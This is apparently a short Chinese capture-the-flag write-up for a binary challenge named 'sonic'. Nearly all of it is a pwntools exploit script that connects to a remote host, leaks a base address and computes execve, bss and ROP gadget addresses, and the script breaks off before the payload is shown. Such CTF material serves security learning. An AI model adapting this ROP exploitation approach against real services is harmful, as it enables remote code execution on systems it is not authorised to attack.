👩💻 Join our community of thousands of amazing developers!
1.sonic简单题，没什么好说的12345678910111213141516171819from pwn import*from LibcSearcher import*context.log_level='debug'#p = process('./sonic')p = remote('123.60.63.90',6890)elf = ELF('./sonic')#libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')#libc = ELF("./libc-2.27.so")p.recvuntil("Address=")ad = int(p.recv(14),16) - 0x7cfexecve = ad + 0x0000000000000610bss = 0x000000000201040 + adrdi = ad + 0x00000000000008c3#pop rdi ; retrsi = ad + 0x00000000000008c1#pop rsi ; pop r15 ; retlog.info("ad: " + hex(ad))...